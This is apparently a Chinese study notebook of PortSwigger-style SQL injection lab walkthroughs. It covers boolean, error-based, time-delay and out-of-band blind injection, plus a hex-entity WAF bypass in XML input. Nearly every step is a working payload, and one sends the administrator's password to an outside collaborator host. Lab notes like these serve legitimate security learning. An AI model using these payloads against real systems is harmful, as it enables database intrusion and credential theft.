心得:观察回显的不同(先看字节数)
实验11:带条件响应的SQL注入
part1:
加上
' AND 1=1--
' AND 1=2--
少了一个欢迎回来,而且字节数也少了
说明存在注入点
part2:
判单是否存在users表
1. ' AND (SELECT 'a' FROM users LIMIT 1)='a'-- 2. 3. (存在)
判断是否存在administrator用户
1. ' AND (SELECT 'a' FROM users WHERE username='administrator')='a'-- 2. 3. (存在)
判断密码长度
1. ' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'-- 2. 3. (直接跑一下)
到数字20的时候就不成立了
说明密码有20位
爆破每一个字符的值
' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§'--
payload1:
payload2:
结果:
按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)
98l1jlxbm80mk8dfnpmk
part3:
登陆
心得:通过条件判断执行对应语句
实验12:条件判断SQL注入
part1:
单引号报错
2个单引号就正常了
(存在注入点,且为单引号闭合)
判断数据库类型
1. ' || (select '') || ' 2. 3. (报错,不是MySQL)
'||(SELECT '' FROM dual)||' (未报错,可能是Oracle数据库)
(再次证明其他无关性,换一个不存在的表报错)
part2:
1. '||(SELECT '' FROM users WHERE ROWNUM = 1)||' 2. 3. (rownum=1 防止查询的时候返回多行)
再用类似上一个实验一样的方法,猜表、用户名,爆破密码
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' (when的条件成立时,会执行then后的内容,即执行成功1/0报错,若不成立,则返回else后的内容)
判断是否存在administrator用户
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' (用户不存在、1=1不成立有一个为fause时候返回200状态码,否则为ture,执行执行成功1/0报错)
判断密码位数
'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
到20的时候就返回200状态码了,说明密码长度为20位
爆破密码
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
payload1:
payload2:
结果:
按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)
e8q11s15y9pc8z5b2n78
part3:
登陆
心得:拼接时间延迟函数
实验13:时延盲注
'||sleep(10)--
(几乎没什么时延,不是MySQL数据库)
'||pg_sleep(10)--
(时延10s)
心得:通过条件判断语句运行不同的命令
实验14:时延SQL注入
part1:
验证时延语句
1. '%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- 2. 3. (延迟10s)
'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- (几乎无延迟)
判断用户administrator是否存在
'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- (延迟10s,说明为ture,即存在)
判断密码长度
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
结果肯定是20位
爆破密码
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_
结果:
勾选上时间
(我偷偷把延迟时间改为了2s,没想到居然误差有点小大,从大抓准没错)
nnn11iyvkal1dvdwosmr(错了,还是不能缩太短,害)
重新设6s
ndkt1iyvkal1svdw0omr(ok了)
part3:
登陆
心得:拼接后将数据带外回显
实验15:带外技术
part1:
复制后,修改http://后面
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//iykblv2ne2x9e8fpic4ap9qwinodc2.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--
part2:
心得:拼接将数据带外回显
实验16:带外SQL注入
part1:
(将划线部分替换为自己的,注入语句夹在了http头和URL之间)
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.1km5gjbs8t098rhznbrdxtuo5fb5zu.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--
part2:
前面这个就是带出的密码
part3:
登陆
六、其他类型SQL注入
心得:各种类型与数据库有关的数据交互
示例: 可以使用应用程序作为 SQL 查询处理的任何可控输入来执行 SQL 注入攻击 如一些网站采用 JSON 或 XML 格式的输入,并使用它来查询数据库。 这些不同的格式甚至可能为您提供其他方法来混淆由于 WAF 和其他防御机制而被阻止的攻击。弱实现通常只是在请求中查找常见的 SQL 注入关键字,因此您可以通过简单地编码或转义禁止关键字中的字符来绕过这些过滤器。 如以下基于 XML 的 SQL 注入使用 XML 转义序列对 中的S字符进行编码 <stockCheck> <productId> 123 </productId> <storeId> 999 SELECT * FROM information_schema.tables </storeId> </stockCheck> 将在传递给 SQL 解释器之前在服务器端解码
漏洞识别: 1、请注意,库存检查功能以 XML 格式将 productId和 storeId发送到应用程序。 2、将POST /product/stock请求发送到bp中继器。 3、在 Burp 中继器中,探测storeId 以查看是否评估了您的输入。例如,尝试将 ID 替换为计算结果为其他潜在 ID 的数学表达式,例如: <storeId>1+1</storeId> 4、观察您的输入似乎由应用程序评估,返回不同商店的库存。 5、尝试通过将语句追加到原始存储 ID 来确定原始查询返回的列数:UNION SELECT <storeId>1 UNION SELECT NULL</storeId> 6、请注意,请求由于被标记为潜在攻击而被阻止。 绕过 WAF: 1、在注入 XML 时,请尝试使用 XML 实体对有效负载进行模糊处理。一种方法是使用 Hackvertor 扩展。只需突出显示您的输入,右键单击,然后选择 Hackvertor >扩展>编码 > dec_entities/hex_entities。 2、重新发送请求,并注意您现在收到来自应用程序的正常响应。这表明您已成功绕过 WAF。 漏洞利用: 1、从上次中断的地方继续,并推断查询返回单个列。当您尝试返回多列时,应用程序将返回0 units ,这意味着错误。 2、由于只能返回一列,因此需要连接返回的用户名和密码,例如: <storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId> 3、发送此查询并观察是否已成功从数据库中获取用户名和密码(用字符分隔)。~ 4、使用管理员的凭据登录并解决实验室问题